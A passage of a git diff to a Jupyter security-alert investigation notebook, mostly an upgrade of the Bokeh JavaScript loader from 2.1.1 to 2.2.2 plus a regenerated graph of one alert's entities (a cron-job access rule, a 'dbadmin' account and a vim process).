*/\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"2181\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"2181\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2181\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2181\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, { "data": { "text/html": [ @@ -908,7 +1164,7 @@ "\n", "\n", "\n", - "
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[0x51b3]\",\"process: /usr/bin/vim.basic [0x51b3]\",\"host-logon-session\",\"process: /usr/bin/vim.basic [0x51b3]\"],\"line_type\":[null,null,null,\"SHORT_DASH\",\"SHORT_DASH\",\"SHORT_DASH\",\"SHORT_DASH\"],\"start\":[\"SCUBA_RULE_AccessCronJob\",\"SCUBA_RULE_AccessCronJob\",\"SCUBA_RULE_AccessCronJob\",\"process: unknown [0x518a]\",\"account: dbadmin\",\"account: dbadmin\",\"file: /usr/bin/vim.basic\"],\"weight\":[null,null,null,1,1,1,1]},\"selected\":{\"id\":\"2297\"},\"selection_policy\":{\"id\":\"2298\"}},\"id\":\"2223\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"2187\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2202\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"data_source\":{\"id\":\"2223\"},\"glyph\":{\"id\":\"2222\"},\"hover_glyph\":null,\"muted_glyph\":null,\"view\":{\"id\":\"2225\"}},\"id\":\"2224\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"field\":\"node_color\"},\"size\":{\"units\":\"screen\",\"value\":15}},\"id\":\"2227\",\"type\":\"Circle\"},{\"attributes\":{\"source\":{\"id\":\"2223\"}},\"id\":\"2225\",\"type\":\"CDSView\"},{\"attributes\":{\"text\":\"host-logon-session\",\"text_font_size\":\"10pt\",\"x\":-0.744795975242901,\"x_offset\":5,\"y\":1.4358770218722405,\"y_offset\":5},\"id\":\"2238\",\"type\":\"Label\"},{\"attributes\":{\"source\":{\"id\":\"2219\"}},\"id\":\"2221\",\"type\":\"CDSView\"},{\"attributes\":{\"formatter\":{\"id\":\"2292\"},\"ticker\":{\"id\":\"2198\"}},\"id\":\"2197\",\"type\":\"LinearAxis\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2201\"},{\"id\":\"2202\"},{\"id\":\"2203\"},{\"id\":\"2204\"},{\"id\":\"2205\"},{\"id\":\"2206\"},{\"id\":\"2215\"}]},\"id\":\"2208\",\"type\":\"Toolbar\"},{\"attributes\":{\"formatter\":{\"id\":\"2280\"},\"ticker\":{\"id\":\"2194\"}},\"id\":\"2193\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"2295\",\"type\":\"Selection\"},{\"attributes\":{\"overlay\":{\"id\":\"2207\"}},\"id\":\"2203\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"axis\":{\"id\":\"2197\"},\"dimension\":1,\"ticker\":null},\"id\":\"2200\",\"type\":\"Grid\"},{\"attributes\":{\"text\":\"account: dbadmin\",\"text_font_size\":\"10pt\",\"x\":-1.144103185660663,\"x_offset\":5,\"y\":0.2843460947144634,\"y_offset\":5},\"id\":\"2235\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"2292\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2207\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"2194\",\"type\":\"BasicTicker\"},{\"attributes\":{\"graph_layout\":{\"SCUBA_RULE_AccessCronJob\":[0.48658350501115627,0.92187450605479],\"account: dbadmin\":[-1.144103185660663,0.2843460947144634],\"file: /usr/bin/vim.basic\":[0.8694001556613657,-1.8565469854586654],\"host-logon-session\":[-0.744795975242901,1.4358770218722405],\"host: MSTICALERTSLXVM2\":[1.5618696384927213,1.9458964758920576],\"process: /usr/bin/vim.basic [0x51b3]\":[-0.11251387027264878,-0.7314471130748864],\"process: unknown [0x518a]\":[-0.9164402679890301,-1.9999999999999998]}},\"id\":\"2226\",\"type\":\"StaticLayoutProvider\"},{\"attributes\":{\"text\":\"process: unknown [0x518a]\",\"text_font_size\":\"10pt\",\"x\":-0.9164402679890301,\"x_offset\":5,\"y\":-1.9999999999999998,\"y_offset\":5},\"id\":\"2234\",\"type\":\"Label\"},{\"attributes\":{\"text\":\"Alert Entity graph\"},\"id\":\"2183\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2189\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2286\",\"type\":\"NodesOnly\"},{\"attributes\":{},\"id\":\"2291\",\"type\":\"NodesOnly\"},{\"attributes\":{\"data_source\":{\"id\":\"2219\"},\"glyph\":{\"id\":\"2227\"},\"hover_glyph\":null,\"muted_glyph\":null,\"view\":{\"id\":\"2221\"}},\"id\":\"2220\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2297\",\"type\":\"Selection\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"2185\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2201\",\"type\":\"PanTool\"},{\"attributes\":{\"callback\":null,\"tooltips\":[[\"node_type\",\"@node_type\"],[\"name\",\"@name\"],[\"description\",\"@description\"]]},\"id\":\"2215\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"2296\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"text\":\"SCUBA_RULE_AccessCronJob\",\"text_font_size\":\"10pt\",\"x\":0.48658350501115627,\"x_offset\":5,\"y\":0.92187450605479,\"y_offset\":5},\"id\":\"2232\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"2298\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2191\",\"type\":\"LinearScale\"},{\"attributes\":{\"text\":\"process: /usr/bin/vim.basic [0x51b3]\",\"text_font_size\":\"10pt\",\"x\":-0.11251387027264878,\"x_offset\":5,\"y\":-0.7314471130748864,\"y_offset\":5},\"id\":\"2237\",\"type\":\"Label\"},{\"attributes\":{\"axis\":{\"id\":\"2193\"},\"ticker\":null},\"id\":\"2196\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2280\",\"type\":\"BasicTickFormatter\"}],\"root_ids\":[\"2182\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n", + " var render_items = [{\"docid\":\"7b9eb957-d827-4d1c-b8b9-10682310f305\",\"root_ids\":[\"2182\"],\"roots\":{\"2182\":\"774f6f54-6218-4d2d-a4a1-6048605733d5\"}}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", @@ -948,42 +1204,17 @@ }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { - "id": "7577" + "id": "2182" } }, "output_type": "display_data" } ], "source": [ - "import networkx as nx\n", - "\n", - "from bokeh.io import output_notebook, show\n", - "from bokeh.plotting import figure, from_networkx\n", - "from bokeh.models import Circle, HoverTool, Label\n", - "\n", - "node_attrs = {node: attrs[\"color\"] for node, attrs in alertentity_graph.nodes(data=True)}\n", - "nx.set_node_attributes(alertentity_graph, node_attrs, \"node_color\")\n", - "\n", - "plot = figure(\n", - " title=\"Alert Entity graph\", x_range=(-3, 3), y_range=(-3, 3), width=800\n", - ")\n", - "\n", - "plot.add_tools(HoverTool(tooltips=[\n", - " (\"node_type\", \"@node_type\"),\n", - " (\"name\", \"@name\"),\n", - " (\"description\", \"@description\")\n", - "]))\n", - "\n", - "graph_renderer = from_networkx(alertentity_graph, nx.spring_layout, scale=2, center=(0,0))\n", - "graph_renderer.node_renderer.glyph = Circle(size=25, fill_color=\"node_color\", fill_alpha=0.5)\n", - "plot.renderers.append(graph_renderer)\n", - "\n", - "# Labels\n", - "for name, pos in graph_renderer.layout_provider.graph_layout.items():\n", - " label = Label(x=pos[0], y=pos[1], x_offset=5, y_offset=5, text=name, text_font_size=\"10pt\")\n", - " plot.add_layout(label)\n", - "\n", - "show(plot)" + "utils.md(\"Visualize Entities\", \"large, bold\")\n", + "utils.md(\"The red circle is the alert object. Green circles are the related entities.\")\n", + "alertentity_graph = create_alert_graph(selected_alert)\n", + "nbdisplay.plot_entity_graph(alertentity_graph, width=800, node_size=15)" ] }, { @@ -1006,7 +1237,7 @@ }, { "cell_type": "code", - "execution_count": 36, + "execution_count": 12, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:41:05.543295Z", @@ -1023,7 +1254,7 @@ }, { "cell_type": "code", - "execution_count": 37, + "execution_count": 13, "metadata": { "ExecuteTime": { "end_time": "2020-08-25T19:41:07.412297Z", @@ -1046,7 +1277,7 @@ { "data": { "application/vnd.jupyter.widget-view+json": { - "model_id": "3a39857ed063416aa4d24a408440474b", + "model_id": "7a9a1793dac44384b376dea003f631ac", "version_major": 2, "version_minor": 0 }, @@ -1063,7 +1294,7 @@ "\n", "
\n", " \n", - " Loading BokehJS ...\n", + " Loading BokehJS ...\n", "
" ] }, @@ -1233,7 +1464,7 @@ " \"\"}};\n", "\n", " function display_loaded() {\n", - " var el = document.getElementById(\"8046\");\n", + " var el = document.getElementById(\"2411\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", @@ -1299,7 +1530,7 @@ " document.body.appendChild(element);\n", " }\n", "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", @@ -1324,7 +1555,7 @@ " }\n", "\n", " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", @@ -1353,7 +1584,7 @@ " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"8046\")).parents('.cell').data().cell;\n", + " var cell = $(document.getElementById(\"2411\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", @@ -1370,7 +1601,7 @@ " }\n", "}(window));" ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"8046\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) 